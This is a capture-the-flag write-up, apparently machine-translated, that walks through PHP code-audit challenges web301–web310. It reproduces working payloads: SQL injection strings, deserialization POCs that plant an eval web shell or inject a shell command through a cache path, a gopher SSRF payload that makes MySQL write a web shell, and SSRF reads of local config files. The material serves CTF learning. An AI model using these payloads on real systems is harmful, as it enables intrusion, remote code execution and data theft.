Preface
Start happy code audit articles.
web301
Download the source code to analyze a wave, most of which are useless files, mainly in checklogin.php:
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
$_SESSION['error']="1";
header("location:login.php");
return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
$_SESSION['login']=1;
$result->free();
$mysqli->close();
header("location:index.php");
return;
}
Unfiltered SQL injection, just make the detected content equal to the password passed in the post, and use union injection:
userid=-1' union select 1%23&userpwd=1
You can see the flag after logging in successfully.
web302
Changed here:
if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
function sds_decode($str){
return md5(md5($str.md5(base64_encode("sds")))."sds");
}
In fact, it has no effect. To put it bluntly, just change the value detected by the joint injection so that the value is the sds_decode()
same as the result of the password sent by your post after being processed by this function. :
userid=-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'%23&userpwd=1
web303
After downloading the source code, I found two new php files and a .sql. I looked at the .sql and found this:
INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');
The username and password are also given, and it feels wrong. Let’s take a look at the previous checklogin.php:
if(strlen($username)>6){
die();
}
It should be impossible to inject, try to log in directly, if it succeeds, then it's okay. Take a look at the newly added php file, there are new injection points:
$dpt_name=$_POST['dpt_name'];
$dpt_address=$_POST['dpt_address'];
$dpt_build_year=$_POST['dpt_build_year'];
$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
$dpt_cert_number=$_POST['dpt_cert_number'];
$dpt_telephone_number=$_POST['dpt_telephone_number'];
$mysqli->query("set names utf-8");
$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
Or insert injection without filtering, just inject directly.
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=
dpt_name=1&dpt_address=1&dpt_build_year=2021-02-24&dpt_has_cert=on&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=
web304
It said that waf was added, but I didn't feel it was added. . The above payload can still be used.
web305
Added class.php, hole for deserialization:
public function __destruct(){
file_put_contents($this->username, $this->password);
}
Quite simple, there is nothing to say, just write one and check the flag immediately:
You can also directly connect to the database, pay attention to change the type to mysqli, and then the password in the source code given is false, go to conn.php to find:
Flag can also be found inside.
web306
The code of the mvc structure, roughly review, look at class.php and dao.php to know the test point:
'class.php'
class log{
public $title='log.txt';
public $info='';
public function loginfo($info){
$this->info=$this->info.$info;
}
public function close(){
file_put_contents($this->title, $this->info);
}
}
'dao.php'
public function __destruct(){
$this->conn->close();
}
Obviously deserialization, search for unserialize globally, and find that login.php and index.php are both available, but login.php cannot be used because dao.php and class.php are needed, login.php only requires class.php, but index.php requires dao.php, and dao.php requires class.php, so index.php can. :
<?php
class log{
public $title='1.php';
public $info='<?php eval($_POST[0]);?>';
}
class dao{
private $conn;
public function __construct(){
$this->conn=new log();
}
}
echo base64_encode(serialize(new dao()));
Generate the payload and hit it directly, and then find flag.php.
web307
Now I changed the name class.php
of the close()
method inside. I closelog()
looked for it globally. Only this place is available, so this method is likely to be dead. It can 可控变量->(可控变量)
only be used unless such a place can be found .
Considering that there is not much code, review these codes in detail again. One place that caught my attention, the service class __wakeup
:
public function __wakeup(){
$this->config=new config();
$this->dao=new dao();
}
The test site for this question must have been deserialized, but here __wakeup
is a question that should allow us to bypass this __wakeup
? But I took a look at the topic of the environment is php7.3, does not meet the bypass conditions:
PHP5 < 5.6.25
PHP7 < 7.0.10
Looking again, I found logout.php here:
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$service->clearCache();
}
When I saw the clearCache()
method, I suddenly thought that when I saw this method before, I was thinking that if $config
I can control it, I can execute commands at will. :
public function clearCache(){
shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
}
After a look, it is indeed controllable, so you can construct a POC, but it should be noted that the dao class is serialized instead of the service class, because the service class has the same method name as __wakeup
the dao class and service class clearCache
. , Just available. Guess the next question directly to find the method, which method name appears twice in the two classes, then this method is the test site?
Construct a POC:
<?php
class config{
public $cache_dir = 'cache/*;cat /var/www/html/flag.php > /var/www/html/2.txt;';
}
class dao
{
private $config;
public function __construct()
{
$this->config = new config();
}
}
echo base64_encode(serialize(new dao()));
Type directly, and then access 2.txt:
web308
By comparison, you will find that this is added:
public function checkVersion(){
return checkUpdate($this->config->update_url);
}
function checkUpdate($url){
$ch=curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
$res = curl_exec($ch);
curl_close($ch);
return $res;
}
It must be that ssrf didn't run. Take a look at config.php, the mysql username is root and the password is empty, and mysql is properly typed. But here is what I am obsessed with:
if(!isset($_SESSION['login'])){
header("location:login.php");
}
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
$lastVersion=$service->checkVersion();
}
I thought I needed to log in successfully to execute the payload, but I couldn't inject sql, nor was it a weak password. How can I log in successfully? At this time, I guess the code behind the header can still be executed? Checked it, it's true tm can. . The code after the header jump can still be executed normally. This is an inherent misunderstanding of mine. I learned what I learned.
Once you know it, hit mysql, use the tool to generate gopher, and then write the POC:
<?php
class config{
public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%30%5d%29%3b%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%27%01%00%00%00%01';
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
Just go and hit, and then get the shell, just look for the flag file. Learned learned.
web309
Since mysql has a password and can't be typed, redis and fastcgi are basically left after thinking about it. I use dict to detect it. It seems that there is no redis, so there is a high probability of fastcgi, but I am also confused about how to determine the existence of fastcgi. Take a look at Master Yu’s method and judge the delay of the gopher protocol:
gopher://127.0.0.1:9000/
After judging the existence, the tool generates: just
hit it directly:
web310
I thought it would play redis. After testing it, I found that 9000 still exists. Then I typed it the same way. I found that I could not read /var/www/html/f*. Use the find command to find the flag, and it was found in /var/ flag, but I can't read it how to read it. It's fascinating.
I took a look at the posture of Master Yu, reading nginx.conf and reading this configuration file:
<?php
class config{
public $update_url ="file:///etc/nginx/nginx.conf";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
As for the path of this file, you can find it through the find command.
Got this:
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;
Then read it:
<?php
class config{
public $update_url ="http://127.0.0.1:4476/";
}
class dao{
private $config;
public function __construct(){
$this->config=new config();
}
}
echo base64_encode(serialize(new dao()));
I also learned that nginx can connect to PHP through fastcgi, so there will be important information in the nginx configuration file, in addition to port forwarding, etc., some important information may be included in the configuration file. After learning, learning.
At this point, the code audit chapter is over.